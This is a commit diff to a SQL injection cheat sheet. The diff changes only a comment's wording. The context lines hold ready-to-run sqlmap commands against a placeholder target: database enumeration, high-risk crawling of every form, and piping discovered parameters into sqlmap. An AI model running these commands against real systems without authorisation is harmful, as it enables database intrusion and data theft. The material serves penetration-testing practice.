Update SQL Injection.md

This commit is contained in:
Mehdi 2024-06-13 13:03:54 +03:30 committed by GitHub
parent a8a30403a9
commit 77b36e6ff8
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -2563,7 +2563,7 @@ sqlmap -u target.com/test?id=10 -p id --random-agent --dbs
# sqlmap is test all forms in target and answered the wizard questios to default
sqlmap -u target.com --forms --batch --crawl=10 --threads=10 --level=5 --risk=3
# find all parameters on target domain and subdomain and send to sqlmap
# find all parameters on target (domain and subdomain) and send to sqlmap
python3 paramspider.py -d target.com -s TRUE -e woff,ttf,eot,svg | deduplicate --sort | sed '1,4d' | sqlmap
# you can use sqlmap + burp --> burp extension sqlipy (integrated by sqlmap)